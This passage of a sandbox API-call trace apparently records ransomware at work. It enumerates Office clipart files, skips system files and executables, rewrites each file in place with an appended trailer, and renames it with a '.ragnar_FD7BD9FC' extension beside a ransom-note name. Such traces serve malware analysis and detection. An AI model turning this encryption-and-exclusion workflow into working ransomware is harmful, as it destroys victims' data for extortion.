lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2fdc, lpOverlapped=0x0) returned 1 [0092.457] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2fdc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.457] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.458] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2fdc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.458] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.458] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.458] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.458] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.458] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.458] GetProcessHeap () returned 0x580000 [0092.458] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.458] CloseHandle (hObject=0xf4) returned 1 [0092.458] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" [0092.458] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.ragnar_FD7BD9FC" [0092.458] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.459] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2764, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00795_.WMF", cAlternateFileName="")) returned 1 [0092.459] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.459] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY00795_.WMF" | out: lpString1="SY00795_.WMF") returned="SY00795_.WMF" [0092.459] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF") returned=".WMF" [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="autorun.inf") returned 1 [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="boot.ini") returned 1 [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="bootfont.bin") returned 1 [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="bootsect.bak") returned 1 [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="bootmgr") returned 1 [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="bootmgr.efi") returned 1 [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="desktop.ini") returned 1 [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="iconcache.db") returned 1 [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="ntldr") returned 1 [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="ntuser.dat") returned 1 [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="ntuser.ini") returned 1 [0092.459] lstrcmpiW (lpString1="SY00795_.WMF", lpString2="thumbs.db") returned -1 [0092.460] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.460] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.460] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.460] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.460] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.460] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.460] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf")) returned 0x20 [0092.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.460] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10084) returned 1 [0092.460] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x275b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.460] GetProcessHeap () returned 0x580000 [0092.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.460] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.462] VirtualAlloc (lpAddress=0x0, dwSize=0x2764, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.462] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.462] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.462] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2764, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2764, lpOverlapped=0x0) returned 1 [0092.463] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.463] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2764, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.463] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2764, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2764, lpOverlapped=0x0) returned 1 [0092.463] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2764, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.463] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.464] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.464] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.464] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.464] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.464] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.464] GetProcessHeap () returned 0x580000 [0092.464] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.464] CloseHandle (hObject=0xf4) returned 1 [0092.464] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" [0092.464] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.ragnar_FD7BD9FC" [0092.464] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.465] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ec100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5ec100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x9b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00882_.WMF", cAlternateFileName="")) returned 1 [0092.465] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.465] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY00882_.WMF" | out: lpString1="SY00882_.WMF") returned="SY00882_.WMF" [0092.465] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF") returned=".WMF" [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="autorun.inf") returned 1 [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="boot.ini") returned 1 [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="bootfont.bin") returned 1 [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="bootsect.bak") returned 1 [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="bootmgr") returned 1 [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="bootmgr.efi") returned 1 [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="desktop.ini") returned 1 [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="iconcache.db") returned 1 [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="ntldr") returned 1 [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="ntuser.dat") returned 1 [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="ntuser.ini") returned 1 [0092.465] lstrcmpiW (lpString1="SY00882_.WMF", lpString2="thumbs.db") returned -1 [0092.465] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.465] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.465] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.465] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.466] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.466] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.466] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf")) returned 0x20 [0092.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.467] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2480) returned 1 [0092.467] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.467] GetProcessHeap () returned 0x580000 [0092.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.467] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.468] VirtualAlloc (lpAddress=0x0, dwSize=0x9b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.468] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.468] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.468] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9b0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9b0, lpOverlapped=0x0) returned 1 [0092.469] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.469] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.469] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9b0, lpOverlapped=0x0) returned 1 [0092.469] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.469] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.469] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.469] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.469] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.469] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.469] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.469] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.469] GetProcessHeap () returned 0x580000 [0092.469] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.469] CloseHandle (hObject=0xf4) returned 1 [0092.470] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" [0092.470] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.ragnar_FD7BD9FC" [0092.470] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.470] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01006_.WMF", cAlternateFileName="")) returned 1 [0092.470] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.470] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY01006_.WMF" | out: lpString1="SY01006_.WMF") returned="SY01006_.WMF" [0092.470] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF") returned=".WMF" [0092.470] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.470] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="autorun.inf") returned 1 [0092.471] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="boot.ini") returned 1 [0092.471] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="bootfont.bin") returned 1 [0092.471] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="bootsect.bak") returned 1 [0092.471] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="bootmgr") returned 1 [0092.471] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="bootmgr.efi") returned 1 [0092.471] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.471] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="desktop.ini") returned 1 [0092.471] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="iconcache.db") returned 1 [0092.471] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="ntldr") returned 1 [0092.471] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="ntuser.dat") returned 1 [0092.471] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.471] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="ntuser.ini") returned 1 [0092.471] lstrcmpiW (lpString1="SY01006_.WMF", lpString2="thumbs.db") returned -1 [0092.471] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.471] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.471] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.471] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.471] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.471] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.471] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf")) returned 0x20 [0092.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.472] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1588) returned 1 [0092.472] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x62b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.472] GetProcessHeap () returned 0x580000 [0092.472] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.472] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.476] VirtualAlloc (lpAddress=0x0, dwSize=0x634, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.476] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.476] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.476] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x634, lpOverlapped=0x0) returned 1 [0092.476] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.476] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x634, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.476] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x634, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x634, lpOverlapped=0x0) returned 1 [0092.477] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x634, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.477] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.477] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.477] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.477] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, 